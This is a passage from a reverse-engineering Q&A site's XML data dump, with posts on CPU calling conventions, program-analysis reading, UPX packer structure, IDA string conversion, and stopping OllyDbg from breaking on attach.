or freed) when calling a new function, and ST1 to ST7 must be empty on exiting a function.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;h3&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/X86_calling_conventions#thiscall&quot;&gt;thiscall&lt;/a&gt;&lt;/h3&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;On the Microsoft Visual C++ compiler, the this pointer is passed in ECX and it is the callee that cleans the stack, mirroring the stdcall convention used in C for this compiler and in Windows API functions. When functions use a variable number of arguments, it is the caller that cleans the stack.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;h3&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/X86_calling_conventions#stdcall&quot;&gt;stdcall&lt;/a&gt;&lt;/h3&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Callee is responsible for cleaning up the stack, but the parameters are pushed onto the stack in right-to-left order, as in the _cdecl calling convention. Registers EAX, ECX, and EDX are designated for use within the function. Return values are stored in the EAX registe&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;h3&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/X86_calling_conventions#fastcall&quot;&gt;fastcall&lt;/a&gt;&lt;/h3&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Passes the first two arguments (evaluated left to right) that fit into ECX and EDX. Remaining arguments are pushed onto the stack from right to left.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;h3&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/X86_calling_conventions#pascal&quot;&gt;pascal&lt;/a&gt;&lt;/h3&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Parameters are pushed on the stack in left-to-right order (opposite of cdecl), and the callee is responsible for balancing the stack before return.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;h2&gt;AMD64 calling conventions&lt;/h2&gt;&#xA;&#xA;&lt;h3&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/X86_calling_conventions#Microsoft_x64_calling_convention&quot;&gt;Microsoft&lt;/a&gt;&lt;/h3&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The Microsoft x64 calling convention[9] (for long mode on x86-64) uses registers RCX, RDX, R8, R9 are used for the first four integer or pointer arguments (in that order left to right), and XMM0, XMM1, XMM2, XMM3 are used for floating point arguments. Additional arguments are pushed onto the stack (right to left). Integer return values (similar to x86) are returned in RAX if 64 bits or less. Floating point return values are returned in XMM0. Parameters less than 64 bits long are not zero extended; the high bits contain garbage.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;h3&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/X86_calling_conventions#System_V_AMD64_ABI&quot;&gt;Pretty much everyone else&lt;/a&gt;&lt;/h3&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Followed on Solaris, GNU/Linux, FreeBSD, and other non-Microsoft operating systems. The first six integer or pointer arguments are passed in registers RDI, RSI, RDX, RCX, R8, and R9, while XMM0, XMM1, XMM2, XMM3, XMM4, XMM5, XMM6 and XMM7 are used for floating point arguments. For system calls, R10 is used instead of RCX.[11] As in the Microsoft x64 calling convention, additional arguments are passed on the stack and the return value is stored in RAX.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;h2&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Calling_convention#ARM&quot;&gt;ARM calling conventions&lt;/a&gt;&lt;/h2&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;r14 is the link register, r12 is the Intra-Procedure-call scratch register, r0 to r3 are used to hold argument values passed to a subroutine, and also hold results returned from a subroutine. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;More than 4 arguments and they get pushed on the stack.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;&lt;a href=&quot;http://www.ibm.com/developerworks/library/l-ppc/&quot;&gt;PowerPC calling conventions&lt;/a&gt;&lt;/h2&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Since the PowerPC has so many GPRs (32 compared to ia32's 8), arguments are passed in registers starting with gpr3. Registers gpr3 through gpr12 are volatile (caller-save) registers that (if necessary) must be saved before calling a subroutine and restored after returning. Variable argument count functions store the argument on the stack for the callee.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;h2&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Calling_convention#MIPS&quot;&gt;MIPS calling conventions&lt;/a&gt;&lt;/h2&gt;&#xA;&#xA;&lt;h3&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Calling_convention#MIPS&quot;&gt;O32&lt;/a&gt;&lt;/h3&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;the first four arguments to a function in the registers $a0-$a3; subsequent arguments are passed on the stack. Space on the stack is reserved for $a0-$a3 in case the callee needs to save its arguments, but the registers are not stored there by the caller. The return value is stored in register $v0; a second return value may be stored in $v1.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;h3&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Calling_convention#MIPS&quot;&gt;N32 and N64&lt;/a&gt;&lt;/h3&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;pass the first eight arguments to a function in the registers $a0-$a7; subsequent arguments are passed on the stack. The return value (or a pointer to it) is stored in the registers $v0; a second return value may be stored in $v1. In both the N32 and N64 ABIs all registers are considered to be 64-bits wide.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="70" LastEditorUserId="1680" LastEditDate="2013-04-12T05:37:46.823" LastActivityDate="2013-04-12T05:37:46.823" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1729" PostTypeId="2" ParentId="1727" CreationDate="2013-04-11T18:56:58.823" Score="10" Body="&lt;p&gt;I would read up on &lt;a href=&quot;http://en.wikipedia.org/wiki/Static_program_analysis&quot;&gt;static program analysis&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Static program analysis is the analysis of computer software that is performed without actually executing programs (analysis performed on executing programs is known as dynamic analysis). In most cases the analysis is performed on some version of the source code and in the other cases some form of the object code.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Dynamic_program_analysis&quot;&gt;dynamic program analysis&lt;/a&gt;,&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Dynamic program analysis is the analysis of computer software that is performed by executing programs on a real or virtual processor. For dynamic program analysis to be effective, the target program must be executed with sufficient test inputs to produce interesting behavior&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Abstract_interpretation&quot;&gt;abstract interpretation&lt;/a&gt;,&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;In computer science, abstract interpretation is a theory of sound approximation of the semantics of computer programs, based on monotonic functions over ordered sets, especially lattices. It can be viewed as a partial execution of a computer program which gains information about its semantics (e.g. control-flow, data-flow) without performing all the calculations.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Symbolic_execution&quot;&gt;symbolic execution&lt;/a&gt;,&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;In computer science, symbolic execution (also symbolic evaluation) refers to the analysis of programs by tracking symbolic rather than actual values, a case of abstract interpretation. The field of symbolic simulation applies the same concept to hardware. Symbolic computation applies the concept to the analysis of mathematical expressions.&#xA;  Symbolic execution is used to reason about all the inputs that take the same path through a program.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Symbolic_computation&quot;&gt;symbolic computation&lt;/a&gt;,&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;In mathematics and computer science, computer algebra, also called symbolic computation or algebraic computation is a scientific area that refers to the study and development of algorithms and software for manipulating mathematical expressions and other mathematical objects&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Symbolic_simulation&quot;&gt;symbolic simulation&lt;/a&gt;,&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;In computer science, a simulation is a computation of the execution of some appropriately modelled state-transition system. Typically this process models the complete state of the system at individual points in a discrete linear time frame, computing each state sequentially from its predecessor.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Model_checking&quot;&gt;model checking&lt;/a&gt;,&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;In computer science, model checking aka property checking refers to the following problem: Given a model of a system, exhaustively and automatically check whether this model meets a given specification.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;might want to read &lt;a href=&quot;http://www.amazon.co.uk/System-Assurance-Beyond-Detecting-Vulnerabilities/dp/0123814146/ref=sr_1_4?ie=UTF8&amp;amp;qid=1365706657&quot;&gt;System Assurance: Beyond Detecting Vulnerabilities&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rolf probably has a ton of really good input on this subject. Read about his advice &lt;a href=&quot;http://www.reddit.com/r/ReverseEngineering/comments/smf4u/reverser_wanting_to_develop_mathematically/&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="70" LastEditorUserId="70" LastEditDate="2013-04-11T19:05:38.333" LastActivityDate="2013-04-11T19:05:38.333" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1730" PostTypeId="2" ParentId="1727" CreationDate="2013-04-11T19:05:12.173" Score="5" Body="&lt;p&gt;As it turns out, somebody asked roughly the same question on reddit about a year ago and I &lt;a href=&quot;http://www.reddit.com/r/ReverseEngineering/comments/smf4u/reverser_wanting_to_develop_mathematically/c4fa6yl&quot; rel=&quot;nofollow noreferrer&quot;&gt;posted a rather extensive answer to it&lt;/a&gt;, and I have continued to edit it in the meantime.&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2013-04-11T19:05:12.173" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1731" PostTypeId="2" ParentId="198" CreationDate="2013-04-11T20:45:33.350" Score="16" Body="&lt;p&gt;First, let's see UPX structure.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;UPX Structure&lt;/h1&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Prologue&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;CMP / JNZ for DLLs parameter checks&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Pushad, set registers&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;optional NOP alignment&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Decompression algorithm&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;whether it's NRV or LZMA&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Call/Jumps restoring&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;UPX transform relative calls and jumps into absolute ones, to improve compression. &lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Imports&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;load libraries, resolve APIs&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Reset section flags&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Epilogue&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;clean stack&lt;/li&gt;&#xA;&lt;li&gt;jump to the original EntryPoint&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;For more details, &lt;a href=&quot;http://corkami.googlecode.com/files/upx-idb.zip&quot;&gt;here&lt;/a&gt; is a commented IDA (free version) IDB of a UPX-ed PE.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;modified UPX variants&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Simple parts like prologue/epilogue are easy to modify, and are consequently often modified:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;basic polymorphism: replacing an instruction with an equivalent&lt;/li&gt;&#xA;&lt;li&gt;moving them around with jumps&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Complex parts like decompression, calls restoration, imports loading are usually kept unmodified, so usually, custom code is inserted between them:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;an anti-debug&lt;/li&gt;&#xA;&lt;li&gt;an extra xor loop (after decompression)&lt;/li&gt;&#xA;&lt;li&gt;a marker that will be checked further in the unpacked code, so that the file knows it was unpacked.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;faking&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;As the prologue doesn't do much, it's also trivial to copy it to the EntryPoint of a non UPX-packed PE, to fool identifiers and fake UPX packing.&lt;/p&gt;&#xA;" OwnerUserId="188" LastEditorUserId="245" LastEditDate="2013-04-17T04:44:25.040" LastActivityDate="2013-04-17T04:44:25.040" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1732" PostTypeId="2" ParentId="1724" CreationDate="2013-04-11T23:25:03.897" Score="6" Body="&lt;p&gt;There is a branch in the &lt;a href=&quot;https://code.google.com/p/dynamorio/source/browse/branches/drk/&quot; rel=&quot;nofollow&quot;&gt;DynamoRIO Google Code project called &quot;DRK&quot;&lt;/a&gt;, and &lt;a href=&quot;https://code.google.com/p/dynamorio/source/detail?r=1323&quot; rel=&quot;nofollow&quot;&gt;commit 1323&lt;/a&gt; has the log message &quot;DRK: DynamoRIO as a Linux kernel module&quot;. That &lt;em&gt;should&lt;/em&gt; contain the code you're looking for, though since I haven't used DynamoRIO before I can't guarantee it.&lt;/p&gt;&#xA;" OwnerUserId="257" LastEditorUserId="245" LastEditDate="2013-04-17T04:40:56.917" LastActivityDate="2013-04-17T04:40:56.917" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1733" PostTypeId="2" ParentId="1722" CreationDate="2013-04-12T00:06:59.313" Score="5" Body="&lt;p&gt;While this answer is certainly not true in all situations, the answer for which your teacher is probably looking:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Local variables are in the form &lt;code&gt;[EBP - ...]&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Passed arguments are in the form &lt;code&gt;[EBP + ...]&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2013-04-12T00:06:59.313" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1734" PostTypeId="1" AcceptedAnswerId="1735" CreationDate="2013-04-12T03:37:45.860" Score="13" ViewCount="17067" Body="&lt;p&gt;In IDA 5.0 Freeware how do you convert a block of data into a unicode string, the only thing I can find is to convert it into an ascii string.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;db 'a'&#xA;db 0&#xA;db 'b'&#xA;db 0&#xA;db 'c'&#xA;db 0&#xA;db 'd'&#xA;db 0&#xA;db 0&#xA;db 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;into&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;unicode &amp;lt;abcd&amp;gt;, 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="266" LastEditorUserId="188" LastEditDate="2013-04-19T06:39:08.013" LastActivityDate="2013-04-19T06:39:08.013" Title="IDA Convert to Unicode" Tags="|ida|encodings|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1735" PostTypeId="2" ParentId="1734" CreationDate="2013-04-12T03:42:29.960" Score="23" Body="&lt;p&gt;Press &lt;kbd&gt;Alt&lt;/kbd&gt;-&lt;kbd&gt;A&lt;/kbd&gt; to bring up the &quot;string style&quot; dialog, from which you can create a string of various types (including Unicode).  Through this dialog, you can optionally set the default string type that is created when you press &lt;kbd&gt;a&lt;/kbd&gt; (i.e., you can make it such that Unicode is the default if you want).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively use &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;A&lt;/kbd&gt; &lt;kbd&gt;U&lt;/kbd&gt; as pointed out by &lt;a href=&quot;https://reverseengineering.stackexchange.com/users/111/joxeankoret&quot;&gt;joxeankoret&lt;/a&gt; in the comment.&lt;/p&gt;&#xA;" OwnerUserId="182" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.337" LastActivityDate="2013-04-17T04:46:56.677" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1736" PostTypeId="2" ParentId="1734" CreationDate="2013-04-12T04:10:41.480" Score="5" Body="&lt;p&gt;Select the first byte, Edit -&gt; Strings -&gt; Unicode.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-04-12T04:10:41.480" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1738" PostTypeId="1" AcceptedAnswerId="1750" CreationDate="2013-04-12T09:40:39.973" Score="11" ViewCount="14656" Body="&lt;p&gt;When I attach OllyDbg or ImmunityDebugger to a process, it automatically breaks execution. I'm attaching to a user-mode service running as SYSTEM and only need to catch exceptions, so this is not ideal. Is there a way to disable the break-on-attach behaviour?&lt;/p&gt;&#xA;" OwnerUserId="1351" LastEditorUserId="245" LastEditDate="2013-04-17T03:07:04.083" LastActivityDate="2013-04-17T03:09:30.207" Title="How can I prevent Immunity Debugger / OllyDbg from breaking on attach?" Tags="|tools|debuggers|ollydbg|immunity-debugger|" AnswerCount="3" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="1739" PostTypeId="1" CreationDate="2013-04-12T09:52:06.790" Score="-3" ViewCount="224" Body="&lt;p&gt;i have a question about SHA256&#xA;I know that this algorytm was used to encrypt a text, wich i have, also i have the encrypted version of this text.&#xA;My question is can i somehow get to the encryption key with those infos ?&lt;/p&gt;&#xA;" OwnerUserId="1712" LastActivityDate="2013-04-12T09:56:03.100" Title="Is it possible to get the encryption key when you have the plain text" Tags="|cryptography|decryption|encryption|" AnswerCount="1" CommentCount="4" ClosedDate="2013-04-12T10:25:16.653" ContentLicense="CC BY-SA 3.0" />
  <row Id="1740" PostTypeId="2" ParentId="1739" CreationDate="2013-04-12T09:56:03.100" Score="5" Body="&lt;p&gt;SHA256 is a hash. It doesn't have a key. It's a one way transformation function from input a to output b which is irreversible. The best you can do is to try various inputs until you get your output. &lt;/p&gt;&#xA;" OwnerUserId="70" LastActivityDate="2013-04-12T09:56:03.100" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1741" PostTypeId="5" CreationDate="2013-04-12T10:02:59.930" Score="0" Body="&lt;p&gt;OllyDbg is a Windows 32bits debugger written by Oleh Yuschuk. This debugger is very popular in the hacker community. It is free and lightweight and yet powerful with more than 200 plugins available for it.&lt;/p&gt;&#xA;" OwnerUserId="53" LastEditorUserId="37138" LastEditDate="2021-06-25T19:04:32.703" LastActivityDate="2021-06-25T19:04:32.703" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="1742" PostTypeId="4" CreationDate="2013-04-12T10:02:59.930" Score="0" Body="A very popular Windows 32bits debugger written by Oleh Yuschuk. It is free and lightweight and yet powerful and extendable through plugins." OwnerUserId="188" LastEditorUserId="53" LastEditDate="2013-12-18T09:55:02.193" LastActivityDate="2013-12-18T09:55:02.193" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1743" PostTypeId="5" CreationDate="2013-04-12T10:05:05.067" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-04-12T10:05:05.067" LastActivityDate="2013-04-12T10:05:05.067" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1744" PostTypeId="4" CreationDate="2013-04-12T10:05:05.067" Score="0" Body="An OllyDbg 1.1 derivative made by Immunity Inc., that internally supports python scripting and shipped with many scripts to ease vulnerability and exploitation research." OwnerUserId="188" LastEditorUserId="188" LastEditDate="2013-04-12T11:38:51.520" LastActivityDate="2013-04-12T11:38:51.520" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1746" PostTypeId="2" ParentId="1738" CreationDate="2013-04-12T13:18:31.787" Score="6" Body="&lt;p&gt;I don't think this is possible without doing something extremely invasive. Either patching OllyDbg to use an alternative ZwXX/NtXX function which accepts some flags or patching the kernel. The initial break is done by the operating system so that the debugger can gather information about the process it is being attached to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I haven't verified but my guess is that OllyDbg is calling &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/windows/desktop/ms679295%28v=vs.85%29.aspx&quot; rel=&quot;nofollow&quot;&gt;DebugActiveProcess&lt;/a&gt; in order to attach to it. The documentation for it states:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;After the system checks the process identifier and determines that a valid debugging attachment is being made, the function returns TRUE. Then the debugger is expected to wait for debugging events by using the WaitForDebugEvent function. The system suspends all threads in the process, and sends the debugger events that represents the current state of the process.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;And later on&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;After all of this is done, the system resumes all threads in the process. When the first thread in the process resumes, it executes a breakpoint instruction that causes an EXCEPTION_DEBUG_EVENT debugging event to be sent to the debugger. All future debugging events are sent to the debugger by using the normal mechanism and rules.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="70" LastEditorUserId="70" LastEditDate="2013-04-12T19:07:11.437" LastActivityDate="2013-04-12T19:07:11.437" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1747" PostTypeId="2" ParentId="1694" CreationDate="2013-04-12T14:39:40.773" Score="5" Body="&lt;p&gt;The question here is what do you need? Do you need &lt;strong&gt;to be able to run&lt;/strong&gt; this thing on 64bit and interact with it or is the objective &lt;strong&gt;to actually port it&lt;/strong&gt;?&lt;/p&gt;&#xA;&lt;h2&gt;Run it&lt;/h2&gt;&#xA;&lt;p&gt;If you only needed to run it and we can assume the compatibility libraries (those allowing to run 32bit programs on 64bit) as a given, you could probably intercept all kinds of functionality using the standard &lt;code&gt;ld.so&lt;/code&gt; methods (&lt;a href=&quot;http://linux.die.net/man/8/ld.so&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;LD_PRELOAD&lt;/code&gt; and friends&lt;/a&gt;) as also outlined in answers to &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/185/how-do-i-add-functionality-to-an-existing-binary-executable&quot;&gt;How do I add functionality to an existing binary executable?&lt;/a&gt;&#xA;Going from there you'd be able to interface with the existing and unchanged 32bit program by means of memory mapped files or sockets or really any kind of IPC mechanism that you deem suitable for the purpose.&lt;/p&gt;&#xA;&lt;p&gt;Quite frankly this is likely the best method with the least effort to put in.&lt;/p&gt;&#xA;&lt;p&gt;On Debian 5 the compatibility layer is in the following two packages:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;libc6-dev-i386 - Embedded GNU C Library: 32-bit development libraries for AMD64&#xA;libc6-i386 - Embedded GNU C Library: 32-bit shared libraries for AMD64&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The same name is used on Ubuntu 10.04 through 12.04. These are the only versions I could check at the moment, but I'm aware of similar stuff in RHEL/CentOS/ScientificLinux.&lt;/p&gt;&#xA;&lt;h2&gt;Port it&lt;/h2&gt;&#xA;&lt;p&gt;Otherwise you'd run into a whole plethora of problems, the biggest of which were already outlined by &lt;a href=&quot;https://reverseengineering.stackexchange.com/a/1695/245&quot;&gt;ange albertini here&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;In general, if you are lucky and it looks like that, the debug information (&lt;code&gt;not stripped&lt;/code&gt; it says) will allow you to sort out names of source files, so you may be able to put puzzle pieces like libraries together and can then concentrate on the &amp;quot;actual&amp;quot; code. This may not be a big advantage, but for the reverse engineer every little straw helps.&lt;/p&gt;&#xA;&lt;p&gt;Decompilers like the Hex-Rays plugin or the one that comes with Hopper could be a good way of getting a more high-level idea of the code. Still this will be a lot of work unless you focus on the functional parts that you need - which is why I (being lazy and all) would always go with the option above, i.e. running it in compatibility mode.&lt;/p&gt;&#xA;" OwnerUserId="245" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2013-04-12T14:39:40.773" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1748" PostTypeId="2" ParentId="1738" CreationDate="2013-04-12T15:08:18.013" Score="8" Body="&lt;p&gt;One way to do this is to have an OllyDbg plug-in that performs a&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;WriteProcessMemory(hDebuggee, GetProcAddress(GetModuleHandle(&quot;ntdll&quot;), &quot;DbgBreakPoint&quot;), &amp;amp;mynop, 1, NULL)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;where hDebuggee is the handle for the process being debugged (I believe that OllyDbg has an API for retrieving this value), and mynop is a variable that holds a 0x90 byte (nop instruction).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That will clear the int3 instruction that is causing the break, allowing the execution to continue immediately.  It's a common anti-debugging trick.&lt;/p&gt;&#xA;" OwnerUserId="1323" LastActivityDate="2013-04-12T15:08:18.013" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1749" PostTypeId="1" CreationDate="2013-04-12T16:40:19.183" Score="4" ViewCount="599" Body="&lt;p&gt;&lt;a href=&quot;http://www.accessdata.com/products/cerberus&quot;&gt;AccessData's Cerberus product&lt;/a&gt; claims to be :&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The first step towards automated reverse engineering, Cerberus allows&#xA;  you to determine the behavior and intent of suspect binaries, giving&#xA;  you actionable intelligence without having to wait for a malware team&#xA;  to perform deeper, more time consuming analysis.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;While this may be great for getting basic information about how various malware are functioning, I'm also curious about how much information this tool misses or inaccurately reports. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Does anyone have experience with Cerberus?&lt;/li&gt;&#xA;&lt;li&gt;How accurate was this tool when reporting ?&lt;/li&gt;&#xA;&lt;li&gt;Did this tool miss any specific information or patterns ?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1719" LastEditorUserId="189" LastEditDate="2013-04-13T17:44:16.053" LastActivityDate="2013-05-04T02:01:54.323" Title="How accurate is Cerberus for reverse engineering malware?" Tags="|tools|malware|" AnswerCount="0" CommentCount="6" ClosedDate="2013-07-12T12:32:13.603" ContentLicense="CC BY-SA 3.0" />
  <row Id="1750" PostTypeId="2" ParentId="1738" CreationDate="2013-04-12T17:28:30.347" Score="16" Body="&lt;h1&gt;Explanation&lt;/h1&gt;&#xA;&lt;p&gt;The break on attach is due to the &lt;code&gt;ntdll&lt;/code&gt; &lt;code&gt;DbgUiRemoteBreakin&lt;/code&gt; and &lt;code&gt;DbgBreakPoint&lt;/code&gt; functions being called. If you check the &lt;code&gt;kernel32&lt;/code&gt; &lt;code&gt;DebugActiveProcess&lt;/code&gt; function called by the debugger, OllyDbg or ImmunityDebugger, you will see a call to the &lt;code&gt;CreateRemoteThread&lt;/code&gt;, &lt;code&gt;CreateRemoteThreadEx&lt;/code&gt;, or &lt;code&gt;ZwCreateThreadEx&lt;/code&gt; function depending on your OS.&lt;/p&gt;&#xA;&lt;p&gt;So, i guess one way to bypass breaking is:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;debug the debugger itself&lt;/li&gt;&#xA;&lt;li&gt;go to the &lt;code&gt;DbgUiIssueRemoteBreakin&lt;/code&gt; function and spot the call to the function creating the remote thread.&lt;/li&gt;&#xA;&lt;li&gt;change the &lt;code&gt;lpStartAddress&lt;/code&gt; parameter in case of &lt;code&gt;CreateRemoteThread&lt;/code&gt;/&lt;code&gt;CreateRemoteThreadEx&lt;/code&gt; to &lt;code&gt;DbgBreakPoint&lt;/code&gt;+1 &lt;code&gt;RETN 0xC3&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;h1&gt;Plugin&lt;/h1&gt;&#xA;&lt;p&gt;I created an OllyDbg v1.10 &lt;a 